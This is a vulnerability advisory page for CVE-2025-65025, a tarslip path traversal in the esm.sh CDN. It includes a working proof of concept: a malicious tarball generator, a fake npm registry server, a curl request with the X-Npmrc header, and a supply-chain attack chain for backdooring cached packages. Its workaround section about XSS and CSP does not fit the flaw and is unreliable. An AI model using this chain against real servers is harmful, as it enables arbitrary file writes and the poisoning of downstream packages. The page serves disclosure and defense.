# CVE-2025-65025: esm.sh — Fix Available

🐹

🐹 Go

Not in CISA KEV

HIGH severity

# CVE-2025-65025 — esm.sh

HIGH [Fix: esm-dev/esm.sh@9d77b88](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16)

CVE-2025-65025 is a high-severity (CVSS 8.2) Path Traversal vulnerability in github.com/esm-dev/esm.sh. A fix is available for github.com/esm-dev/esm.sh — see the affected versions and patch details below.

esm.sh CDN service has arbitrary file write via tarslip

Also known as[GHSA-h3mw-4f23-gwpw](/vulnerability/GHSA-h3mw-4f23-gwpw)GO-2025-4138

Published

Nov 19, 2025

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-65025.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

0.6%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs47th percentile — riskier than 47% of all scored CVEsHighest risk

0.00%0.36%0.71%1.07%0.1%0.6%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

🐹`github.com/esm-dev/esm.sh`

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

## Description

#### Summary

The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.  
An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`).  
When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.

Uploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry.  
By setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.

#### Details

**file:** `server/npmrc.go`  
**line:** 552-567

```
func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {
    
    pkgDir := path.Join(installDir, "node_modules", pkgName)
    
    tr := tar.NewReader(unziped)
    for {
        h, err := tr.Next()
        // ...
        
        // Strip tarball root directory
        _, name := utils.SplitByFirstByte(h.Name, '/')  // "package/../../tmp/evil" → "../../tmp/evil"
        filename := path.Join(pkgDir, name)             // ← No validation
        
        if h.Typeflag != tar.TypeReg {
            continue 
        }
        
        // Extension filtering
        extname := path.Ext(filename)
        if !(extname != "" && (allowed_extensions)) {
            continue  // Only extract .js, .css, .json, etc.
        }
        
        ensureDir(path.Dir(filename))
        f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
        // ← File created without path validation!
        // ...
    }
}
```

The code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory.

```
pkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg
name:   ../../../../../../tmp/pyozzi.js
result:   /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js
        → /tmp/pyozzi.js  (path traversal)
```

#### PoC

**Test On**

-   esm.sh Official Docker Image (latest version)
-   python 3.11
-   flask (for attacker registry server)

#### Step 1. Create Malicious tarball file

```
#!/usr/bin/env python3
"""
Malicious Tarball Generator for esm.sh Path Traversal
Creates tarball with path traversal payloads
"""

import tarfile
import io,os
import json
from datetime import datetime

def create_malicious_tarball(package_name="test-tarslip"):
    
    # PoC file Content
    poc_payload = b"""// Path Traversal PoC
    // This file was created via tarslip attack
    // Location: /tmp/pyozzi.js

    console.log('[!!!] Path Traversal Successful!');
    console.log('Package: %s');
    console.log('Researcher: pyozzi');

    module.exports = {
        poc: true,
        vulnerability: 'CWE-22 Path Traversal',
        package: '%s'
    };
    """ % (package_name.encode(), package_name.encode())
    
    files = {
        "package/index.js": b"module.exports = { version: '1.0.0', test: true };",
        "package/package.json": json.dumps({
            "name": package_name,
            "version": "1.0.0",
            "description": "Test package for security research",
            "main": "index.js",
            "keywords": ["test", "security", "research"],
            "author": "Security Researcher",
            "license": "MIT"
        }, indent=2).encode(),
        
        "package/../../../../../../../../../tmp/pyozzi.js": poc_payload,
    }
    
    # Create Tarball
    
    tarball_name = f"{package_name}-1.0.0.tgz"
    
    print("Creating tarball with payloads:")
    print()
    
    with tarfile.open(tarball_name, "w:gz") as tar:
        for name, content in files.items():
            info = tarfile.TarInfo(name=name)
            info.size = len(content)
            info.mode = 0o755
            info.mtime = int(datetime.now().timestamp())
            tar.addfile(info, io.BytesIO(content))

    print(f"File: {tarball_name}")
    print(f"Size: {os.path.getsize(tarball_name)} bytes")

    # Check Tarball Content
    print("Tarball contents:")
    with tarfile.open(tarball_name, "r:gz") as tar:
        for member in tar.getmembers():
            marker = ">> " if "../" in member.name else "   "
            mode = oct(member.mode)[-3:]
            print(f"{marker}{member.name} (mode: {mode})")

if __name__ == '__main__':
    create_malicious_tarball()
```

**output:**

```
 $ python create_tarball.py
Creating tarball with payloads:

File: test-tarslip-1.0.0.tgz
Size: 545 bytes
Tarball contents:
   package/index.js (mode: 755)
   package/package.json (mode: 755)
>> package/../../../../../../../../../tmp/pyozzi.js (mode: 755)
```

#### Step 2. Run Fake Registry Server

```
# fake-npm-registry.py
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)
```

```
python3 fake-npm-registry.py
```

#### Step 3. Request Malicious Package with X-Npmrc Header

```
curl "http://localhost:8080/test-tarslip@1.0.0" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
```

#### Step 4. Check Path Traversal

```
docker exec esm-test cat /tmp/pyozzi.js

# ouput:
// Path Traversal PoC
    // This file was created via tarslip attack
    // Location: /tmp/pyozzi.js

    console.log('[!!!] Path Traversal Successful!');
    console.log('Package: test-tarslip');
    console.log('Researcher: pyozzi');

    module.exports = {
        poc: true,
        vulnerability: 'CWE-22 Path Traversal',
        package: 'test-tarslip'
    };
...
```

#### Impact

This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.

**Attack Chain:**

1.  Attacker identifies popular packages and their cached build file locations via API enumeration
2.  Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/react@18.3.1/es2022/react.mjs`)
3.  Injects malicious code into the build files
4.  Any application importing these packages receives the backdoored version
5.  Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)

**Impact Scale:**

-   Affects all downstream users of compromised packages
-   Can target specific frameworks (React, Vue, etc.) used by thousands of applications
-   Enables XSS in browsers, RCE in Electron applications
-   Difficult to detect as traffic appears legitimate

#### Patch

1.  Path validation is required when unpacking a tar file.
2.  `X-Npmrc` whitelist logic is required.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

🐹Go

`github.com/esm-dev/esm.sh` 

all versions

0.0.0-20251117232647-9d77b88c3207`go get github.com/esm-dev/esm.sh@v0.0.0-20251117232647-9d77b88c3207`

## Affected Products

1 product · 1 configurations

Application

`esm.sh`esm

< 136

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update github.com/esm-dev/esm.sh to 0.0.0-20251117232647-9d77b88c3207 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-65025 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
    

## Frequently Asked Questions

\### Summary The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., \`package/../../tmp/evil.js\`). When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory. Uploading files containing \`../\` in the path is not allowed on official registries (npm, GitHub), but the \`X-Npmrc\` header allows specifying any arbitrary registry. By setting the registr

O3 Security · Impact-Aware SCA

### Is CVE-2025-65025 in your dependencies?

Find it across Go, including transitive dependencies.

[Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)